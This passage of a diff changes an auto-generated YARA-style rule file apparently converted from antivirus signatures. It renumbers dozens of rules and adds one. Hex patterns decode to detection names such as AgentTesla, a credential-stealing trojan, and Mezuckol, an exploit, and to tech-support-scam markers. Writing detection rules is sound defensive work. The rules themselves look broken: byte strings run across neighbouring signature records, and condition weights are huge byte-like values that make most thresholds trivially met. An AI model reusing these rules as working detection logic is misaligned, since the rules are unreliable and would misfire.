74 3a 41 53 52 53 71 6c 73 65 72 76 72 00 01 00 0c 73 71 6c 73 65 72 76 72 2e 65 } //8448 + condition: + ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*121+(#a_01_2 & 1)*8448) >=4 + +} +rule _InfrastructureShared_29804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -365789,7 +388567,7 @@ rule _InfrastructureShared_28057{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29554+(#a_01_2 & 1)*28265+(#a_01_3 & 1)*29300+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 } -rule _InfrastructureShared_28058{ +rule _InfrastructureShared_29805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -365805,7 +388583,7 @@ rule _InfrastructureShared_28058{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*11634+(#a_01_3 & 1)*8993+(#a_01_4 & 1)*17204+(#a_01_5 & 1)*15+(#a_01_6 & 1)*14930+(#a_01_7 & 1)*90) >=8 } -rule _InfrastructureShared_28059{ +rule _InfrastructureShared_29806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -365822,7 +388600,7 @@ rule _InfrastructureShared_28059{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*25931+(#a_01_2 & 1)*14694+(#a_01_3 & 1)*82+(#a_01_4 & 1)*1536+(#a_01_5 & 1)*25939+(#a_01_6 & 1)*8236+(#a_01_7 & 1)*111) >=10 } -rule _InfrastructureShared_28060{ +rule _InfrastructureShared_29807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 06 00 21 " @@ -365834,7 +388612,7 @@ rule _InfrastructureShared_28060{ ((#a_01_0 & 1)*18467+(#a_01_3 & 1)*69+(#a_01_5 & 1)*21510) >=15 } -rule _InfrastructureShared_28061{ +rule _InfrastructureShared_29808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -365846,7 +388624,7 @@ rule _InfrastructureShared_28061{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*21345+(#a_01_3 & 1)*8993) >=30 } -rule _InfrastructureShared_28062{ +rule _InfrastructureShared_29809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -365858,7 +388636,7 @@ rule _InfrastructureShared_28062{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*110+(#a_01_3 & 1)*24912) >=30 } -rule _InfrastructureShared_28063{ +rule _InfrastructureShared_29810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -365870,7 +388648,7 @@ rule _InfrastructureShared_28063{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*100+(#a_01_3 & 1)*99) >=30 } -rule _InfrastructureShared_28064{ +rule _InfrastructureShared_29811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,ffffff90 01 ffffff90 01 04 00 21 " @@ -365882,7 +388660,7 @@ rule _InfrastructureShared_28064{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*105+(#a_01_2 & 1)*28496) >=400 } -rule _InfrastructureShared_28065{ +rule _InfrastructureShared_29812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -365892,7 +388670,7 @@ rule _InfrastructureShared_28065{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_28066{ +rule _InfrastructureShared_29813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -365903,7 +388681,7 @@ rule _InfrastructureShared_28066{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*25972) >=3 } -rule _InfrastructureShared_28067{ +rule _InfrastructureShared_29814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -365915,7 +388693,7 @@ rule _InfrastructureShared_28067{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*65+(#a_01_3 & 1)*46) >=4 } -rule _InfrastructureShared_28068{ +rule _InfrastructureShared_29815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 04 00 21 " @@ -365928,7 +388706,7 @@ rule _InfrastructureShared_28068{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25955+(#a_01_2 & 1)*25445+(#a_01_3 & 1)*17516) >=5 } -rule _InfrastructureShared_28069{ +rule _InfrastructureShared_29816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 0b 00 21 " @@ -365946,7 +388724,7 @@ rule _InfrastructureShared_28069{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*22272+(#a_01_2 & 1)*0+(#a_01_3 & 1)*25958+(#a_01_4 & 1)*14932+(#a_01_5 & 1)*119+(#a_01_7 & 1)*8993+(#a_01_9 & 1)*114+(#a_01_10 & 1)*26994) >=5 } -rule _InfrastructureShared_28070{ +rule _InfrastructureShared_29817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -365962,7 +388740,7 @@ rule _InfrastructureShared_28070{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26214+(#a_01_2 & 1)*0+(#a_01_3 & 1)*10+(#a_01_4 & 1)*10+(#a_01_5 & 1)*10+(#a_01_6 & 1)*10) >=7 } -rule _InfrastructureShared_28071{ +rule _InfrastructureShared_29818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 04 00 21 " @@ -365974,7 +388752,7 @@ rule _InfrastructureShared_28071{ ((#a_01_0 & 1)*16931+(#a_01_2 & 1)*111+(#a_01_3 & 1)*24832) >=20 } -rule _InfrastructureShared_28072{ +rule _InfrastructureShared_29819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -365986,7 +388764,7 @@ rule _InfrastructureShared_28072{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*80+(#a_01_3 & 1)*0) >=30 } -rule _InfrastructureShared_28073{ +rule _InfrastructureShared_29820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 04 00 21 " @@ -365999,7 +388777,7 @@ rule _InfrastructureShared_28073{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*115+(#a_01_2 & 1)*8448+(#a_01_3 & 1)*28532) >=2 } -rule _InfrastructureShared_28074{ +rule _InfrastructureShared_29821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 06 00 21 " @@ -366014,7 +388792,7 @@ rule _InfrastructureShared_28074{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28718+(#a_01_2 & 1)*12371+(#a_01_3 & 1)*-4127+(#a_01_4 & 1)*22081+(#a_01_5 & 1)*97) >=2 } -rule _InfrastructureShared_28075{ +rule _InfrastructureShared_29822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 07 00 21 " @@ -366029,7 +388807,7 @@ rule _InfrastructureShared_28075{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*18827+(#a_01_3 & 1)*22028+(#a_01_4 & 1)*29285+(#a_01_5 & 1)*26739+(#a_01_6 & 1)*28271) >=15 } -rule _InfrastructureShared_28076{ +rule _InfrastructureShared_29823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,29 00 29 00 07 00 21 " @@ -366044,7 +388822,7 @@ rule _InfrastructureShared_28076{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24932+(#a_01_2 & 1)*24832+(#a_01_3 & 1)*0+(#a_01_5 & 1)*99+(#a_01_6 & 1)*8993) >=41 } -rule _InfrastructureShared_28077{ +rule _InfrastructureShared_29824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -366054,7 +388832,7 @@ rule _InfrastructureShared_28077{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_28078{ +rule _InfrastructureShared_29825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -366065,7 +388843,7 @@ rule _InfrastructureShared_28078{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*92) >=4 } -rule _InfrastructureShared_28079{ +rule _InfrastructureShared_29826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -366078,7 +388856,7 @@ rule _InfrastructureShared_28079{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*21605+(#a_01_3 & 1)*5+(#a_01_4 & 1)*29281) >=5 } -rule _InfrastructureShared_28080{ +rule _InfrastructureShared_29827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -366091,7 +388869,7 @@ rule _InfrastructureShared_28080{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*67+(#a_01_4 & 1)*55+(#a_01_5 & 1)*25971) >=5 } -rule _InfrastructureShared_28081{ +rule _InfrastructureShared_29828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -366104,7 +388882,7 @@ rule _InfrastructureShared_28081{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*25102+(#a_01_3 & 1)*21032+(#a_01_4 & 1)*29793) >=5 } -rule _InfrastructureShared_28082{ +rule _InfrastructureShared_29829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -366119,7 +388897,7 @@ rule _InfrastructureShared_28082{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*30060+(#a_01_4 & 1)*105+(#a_01_5 & 1)*25710+(#a_01_6 & 1)*25710+(#a_01_7 & 1)*67) >=8 } -rule _InfrastructureShared_28083{ +rule _InfrastructureShared_29830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,69 00 69 00 0a 00 21 " @@ -366135,7 +388913,7 @@ rule _InfrastructureShared_28083{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*5120+(#a_01_2 & 1)*29283+(#a_01_4 & 1)*114+(#a_01_7 & 1)*24832+(#a_01_8 & 1)*0+(#a_01_9 & 1)*27491) >=105 } -rule _InfrastructureShared_28084{ +rule _InfrastructureShared_29831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -366146,7 +388924,7 @@ rule _InfrastructureShared_28084{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*101) >=2 } -rule _InfrastructureShared_28085{ +rule _InfrastructureShared_29832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -366158,7 +388936,7 @@ rule _InfrastructureShared_28085{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*67+(#a_01_2 & 1)*-5051) >=3 } -rule _InfrastructureShared_28086{ +rule _InfrastructureShared_29833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 05 00 21 " @@ -366171,7 +388949,7 @@ rule _InfrastructureShared_28086{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*26995+(#a_01_3 & 1)*4+(#a_01_4 & 1)*16675) >=3 } -rule _InfrastructureShared_28087{ +rule _InfrastructureShared_29834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -366184,7 +388962,7 @@ rule _InfrastructureShared_28087{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*16677+(#a_01_2 & 1)*29811+(#a_01_3 & 1)*53) >=4 } -rule _InfrastructureShared_28088{ +rule _InfrastructureShared_29835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -366196,7 +388974,7 @@ rule _InfrastructureShared_28088{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*101+(#a_01_3 & 1)*47) >=4 } -rule _InfrastructureShared_28089{ +rule _InfrastructureShared_29836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -366209,7 +388987,7 @@ rule _InfrastructureShared_28089{ ((#a_01_0 & 1)*21283+(#a_01_2 & 1)*114+(#a_01_3 & 1)*21283+(#a_01_4 & 1)*5888) >=5 } -rule _InfrastructureShared_28090{ +rule _InfrastructureShared_29837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 07 00 21 " @@ -366224,7 +389002,7 @@ rule _InfrastructureShared_28090{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*5888+(#a_01_3 & 1)*23308+(#a_01_4 & 1)*23049+(#a_01_5 & 1)*25454+(#a_01_6 & 1)*1251) >=6 } -rule _InfrastructureShared_28091{ +rule _InfrastructureShared_29838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1a 00 1a 00 08 00 21 " @@ -366241,7 +389019,7 @@ rule _InfrastructureShared_28091{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25955+(#a_01_2 & 1)*28538+(#a_01_3 & 1)*-228+(#a_01_4 & 1)*21562+(#a_01_5 & 1)*27426+(#a_01_6 & 1)*19759+(#a_01_7 & 1)*12336) >=26 } -rule _InfrastructureShared_28092{ +rule _InfrastructureShared_29839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -366252,7 +389030,7 @@ rule _InfrastructureShared_28092{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*5256) >=2 } -rule _InfrastructureShared_28093{ +rule _InfrastructureShared_29840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 05 00 21 " @@ -366266,7 +389044,7 @@ rule _InfrastructureShared_28093{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28515+(#a_01_2 & 1)*24832+(#a_01_3 & 1)*0+(#a_01_4 & 1)*9508) >=3 } -rule _InfrastructureShared_28094{ +rule _InfrastructureShared_29841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 07 00 21 " @@ -366282,7 +389060,7 @@ rule _InfrastructureShared_28094{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*14960+(#a_01_2 & 1)*24942+(#a_01_3 & 1)*26150+(#a_01_4 & 1)*0+(#a_01_5 & 1)*8993+(#a_01_6 & 1)*17244) >=3 } -rule _InfrastructureShared_28095{ +rule _InfrastructureShared_29842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 08 00 21 " @@ -366299,7 +389077,7 @@ rule _InfrastructureShared_28095{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*9252+(#a_01_2 & 1)*24158+(#a_01_3 & 1)*31043+(#a_01_4 & 1)*25960+(#a_01_5 & 1)*29537+(#a_01_6 & 1)*30789+(#a_01_7 & 1)*24883) >=4 } -rule _InfrastructureShared_28096{ +rule _InfrastructureShared_29843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -366313,7 +389091,7 @@ rule _InfrastructureShared_28096{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*21034+(#a_01_3 & 1)*25902+(#a_01_4 & 1)*25441+(#a_01_5 & 1)*29268) >=5 } -rule _InfrastructureShared_28097{ +rule _InfrastructureShared_29844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -366327,7 +389105,7 @@ rule _InfrastructureShared_28097{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*83+(#a_01_2 & 1)*29811+(#a_01_3 & 1)*24898+(#a_01_4 & 1)*19770) >=6 } -rule _InfrastructureShared_28098{ +rule _InfrastructureShared_29845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,10 00 10 00 09 00 21 " @@ -366345,7 +389123,7 @@ rule _InfrastructureShared_28098{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*-2175+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*0+(#a_01_7 & 1)*17005+(#a_01_8 & 1)*256) >=16 } -rule _InfrastructureShared_28099{ +rule _InfrastructureShared_29846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1c 00 1c 00 0a 00 21 " @@ -366364,7 +389142,7 @@ rule _InfrastructureShared_28099{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28015+(#a_01_2 & 1)*28520+(#a_01_3 & 1)*11571+(#a_01_4 & 1)*25392+(#a_01_5 & 1)*13166+(#a_01_6 & 1)*12848+(#a_01_7 & 1)*21280+(#a_01_8 & 1)*25188+(#a_01_9 & 1)*25632) >=28 } -rule _InfrastructureShared_28100{ +rule _InfrastructureShared_29847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 04 00 21 " @@ -366377,7 +389155,7 @@ rule _InfrastructureShared_28100{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*12595+(#a_01_2 & 1)*24880+(#a_01_3 & 1)*5) >=1 } -rule _InfrastructureShared_28101{ +rule _InfrastructureShared_29848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -366390,7 +389168,7 @@ rule _InfrastructureShared_28101{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*26647+(#a_01_3 & 1)*5+(#a_01_4 & 1)*25188) >=5 } -rule _InfrastructureShared_28102{ +rule _InfrastructureShared_29849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -366403,7 +389181,7 @@ rule _InfrastructureShared_28102{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*26478+(#a_01_2 & 1)*28537+(#a_01_4 & 1)*17173) >=5 } -rule _InfrastructureShared_28103{ +rule _InfrastructureShared_29850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -366416,7 +389194,7 @@ rule _InfrastructureShared_28103{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25966+(#a_01_3 & 1)*30+(#a_01_4 & 1)*11875) >=5 } -rule _InfrastructureShared_28104{ +rule _InfrastructureShared_29851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 05 00 21 " @@ -366430,7 +389208,7 @@ rule _InfrastructureShared_28104{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*26478+(#a_01_2 & 1)*29728+(#a_01_3 & 1)*26707+(#a_01_4 & 1)*0) >=30 } -rule _InfrastructureShared_28105{ +rule _InfrastructureShared_29852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -366441,7 +389219,7 @@ rule _InfrastructureShared_28105{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*0) >=2 } -rule _InfrastructureShared_28106{ +rule _InfrastructureShared_29853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 04 00 21 " @@ -366454,7 +389232,7 @@ rule _InfrastructureShared_28106{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*-30399+(#a_01_2 & 1)*4033+(#a_01_3 & 1)*25697) >=2 } -rule _InfrastructureShared_28107{ +rule _InfrastructureShared_29854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 07 00 21 " @@ -366468,7 +389246,7 @@ rule _InfrastructureShared_28107{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29537+(#a_01_4 & 1)*4+(#a_01_5 & 1)*19525+(#a_01_6 & 1)*29550) >=2 } -rule _InfrastructureShared_28108{ +rule _InfrastructureShared_29855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -366480,7 +389258,7 @@ rule _InfrastructureShared_28108{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*20271+(#a_01_3 & 1)*108) >=4 } -rule _InfrastructureShared_28109{ +rule _InfrastructureShared_29856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 06 00 21 " @@ -366489,13 +389267,13 @@ rule _InfrastructureShared_28109{ $a_01_1 = {55 43 4b 45 59 5f 54 45 4d 50 5f 48 49 56 45 02 00 19 53 6f 66 74 77 61 72 65 5c 4e 69 72 53 6f 66 74 5c 50 72 6f 64 75 4b 65 79 02 00 20 75 74 69 6c 73 2f 70 72 6f 64 75 63 74 5f 63 64 5f 6b 65 79 5f 76 } //20306 $a_01_2 = {65 72 2e 68 74 6d 6c 02 00 1d 50 72 6f 64 75 4b 65 79 5c 52 65 6c 65 61 73 65 5c 50 72 6f 64 75 4b 65 79 2e 70 64 62 00 00 61 ca 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 53 75 70 70 6f 72 74 53 63 61 6d 43 75 73 61 78 53 74 72 2e 42 00 01 00 14 74 00 65 00 61 00 6d 00 76 00 69 00 65 00 77 00 65 00 72 00 01 00 36 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 } //25961 $a_01_3 = {00 77 00 77 00 2e 00 66 00 61 00 73 00 74 00 73 00 75 00 70 00 70 00 6f 00 72 00 74 00 2e 00 63 00 6f 00 6d 00 01 00 42 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 73 00 65 00 63 00 75 00 72 00 65 00 2e 00 6c 00 6f 00 67 00 6d 00 65 00 69 00 6e 00 72 00 65 00 73 00 63 00 75 00 65 00 2e 00 63 00 6f 00 6d 00 2f 00 01 00 0e 63 00 6d 00 64 00 2e 00 65 00 } //47 - $a_01_4 = {00 00 00 61 ca 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 38 35 21 4d 54 42 00 01 00 08 54 6f 53 74 72 69 6e 67 01 00 07 47 65 74 43 68 61 72 01 00 10 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 09 47 65 74 44 6f 6d } //120 - $a_01_5 = {01 00 21 70 61 63 6d 61 6e 32 30 30 38 5f 30 31 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 25 24 39 35 34 64 65 37 39 63 2d 36 33 63 34 2d 34 30 31 35 2d 38 34 31 37 2d 64 34 36 35 38 38 66 37 63 62 30 66 01 00 0e 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 07 4c 61 74 65 47 65 74 00 00 61 ca 00 00 0a } //26977 + $a_01_4 = {00 00 00 61 ca 00 00 06 00 06 00 07 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4d 65 7a 75 63 6b 6f 6c 00 01 00 1a 43 00 3a 00 5c 00 43 00 6f 00 6e 00 66 00 69 00 67 00 2e 00 4d 00 73 00 69 00 01 00 06 68 61 6e 64 6c 65 01 00 12 57 00 52 00 49 00 54 00 45 00 5f 00 44 00 41 00 43 00 } //120 + $a_01_5 = {54 00 41 00 52 00 47 00 45 00 54 00 44 00 49 00 52 00 3d 00 43 00 3a 00 5c 00 43 00 6f 00 6e 00 66 00 69 00 67 00 2e 00 4d 00 73 00 69 00 } //1 TARGETDIR=C:\Config.Msi condition: - ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*20306+(#a_01_2 & 1)*25961+(#a_01_3 & 1)*47+(#a_01_4 & 1)*120+(#a_01_5 & 1)*26977) >=8 + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*20306+(#a_01_2 & 1)*25961+(#a_01_3 & 1)*47+(#a_01_4 & 1)*120+(#a_01_5 & 1)*1) >=8 } -rule _InfrastructureShared_28110{ +rule _InfrastructureShared_29857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -366506,7 +389284,22 @@ rule _InfrastructureShared_28110{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*46) >=4 } -rule _InfrastructureShared_28111{ +rule _InfrastructureShared_29858{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 07 00 21 " + + strings : + $a_01_0 = {46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4d 65 7a 75 63 6b 6f 6c 00 01 00 1a 43 00 3a 00 5c 00 43 00 6f 00 6e 00 66 00 69 00 67 00 2e 00 4d 00 73 00 69 00 01 00 06 68 61 6e 64 6c 65 01 00 12 57 00 52 00 49 00 54 00 45 00 } //16675 + $a_01_1 = {00 41 00 43 00 01 00 2e 54 00 41 00 52 00 47 00 45 00 54 00 44 00 49 00 52 00 3d 00 43 00 3a 00 5c 00 43 00 6f 00 6e 00 66 00 69 00 67 00 2e 00 4d 00 73 00 69 00 01 00 04 44 41 43 4c 01 00 19 53 65 74 53 } //95 + $a_01_2 = {72 69 74 79 44 65 73 63 72 69 70 74 6f 72 44 61 63 6c 01 00 13 4e 74 53 65 74 53 65 63 75 72 69 74 79 4f 62 6a 65 63 74 00 00 61 ca 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 38 35 21 4d 54 42 00 01 00 08 54 6f 53 74 72 69 6e 67 01 00 07 47 65 74 43 68 61 72 01 00 10 46 72 } //25445 + $a_01_3 = {61 73 65 36 34 53 74 72 69 6e 67 01 00 09 47 65 74 44 6f 6d 61 69 6e 01 00 21 70 61 63 6d 61 6e 32 30 30 38 5f 30 31 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 25 24 39 35 34 } //28015 + $a_01_4 = {39 63 2d 36 33 63 34 2d 34 30 31 35 2d 38 34 31 37 2d 64 34 36 35 38 38 66 37 63 62 30 66 01 00 0e 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 07 4c 61 74 65 47 } //25956 + $a_01_6 = {00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 33 32 21 4d 54 42 00 0a 00 99 0a 61 00 62 00 6f 00 75 00 74 00 00 00 00 00 46 6f 00 70 00 65 00 6e 00 46 00 69 00 6c 00 65 00 44 00 69 00 61 00 6c 00 6f 00 67 00 5f 00 43 00 73 00 76 00 46 00 69 00 6c 00 65 00 2e 00 54 00 72 00 61 00 79 00 4c 00 6f 00 63 00 61 00 74 00 69 00 6f 00 6e 00 45 aa 02 00 32 73 00 74 00 61 00 74 00 75 00 73 00 53 00 74 00 72 00 69 00 70 00 31 00 2e 00 54 00 72 00 61 00 79 00 4c 00 6f 00 63 00 61 00 74 00 69 00 6f 00 6e 00 e1 aa 02 00 01 c1 d4 0a 54 56 71 51 } //24832 + condition: + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*95+(#a_01_2 & 1)*25445+(#a_01_3 & 1)*28015+(#a_01_4 & 1)*25956+(#a_01_6 & 1)*24832) >=6 + +} +rule _InfrastructureShared_29859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -366521,7 +389314,7 @@ rule _InfrastructureShared_28111{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24941+(#a_01_2 & 1)*24832+(#a_01_3 & 1)*0+(#a_01_5 & 1)*23808+(#a_01_6 & 1)*25454) >=8 } -rule _InfrastructureShared_28112{ +rule _InfrastructureShared_29860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 01 00 21 " @@ -366531,7 +389324,7 @@ rule _InfrastructureShared_28112{ ((#a_01_0 & 1)*18467) >=10 } -rule _InfrastructureShared_28113{ +rule _InfrastructureShared_29861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,10 00 10 00 07 00 21 " @@ -366545,7 +389338,7 @@ rule _InfrastructureShared_28113{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*23808+(#a_01_3 & 1)*25454+(#a_01_5 & 1)*4+(#a_01_6 & 1)*115) >=16 } -rule _InfrastructureShared_28114{ +rule _InfrastructureShared_29862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -366557,7 +389350,7 @@ rule _InfrastructureShared_28114{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*30060+(#a_01_2 & 1)*21840) >=4 } -rule _InfrastructureShared_28115{ +rule _InfrastructureShared_29863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -366569,7 +389362,7 @@ rule _InfrastructureShared_28115{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*49+(#a_01_3 & 1)*105) >=4 } -rule _InfrastructureShared_28116{ +rule _InfrastructureShared_29864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -366583,7 +389376,7 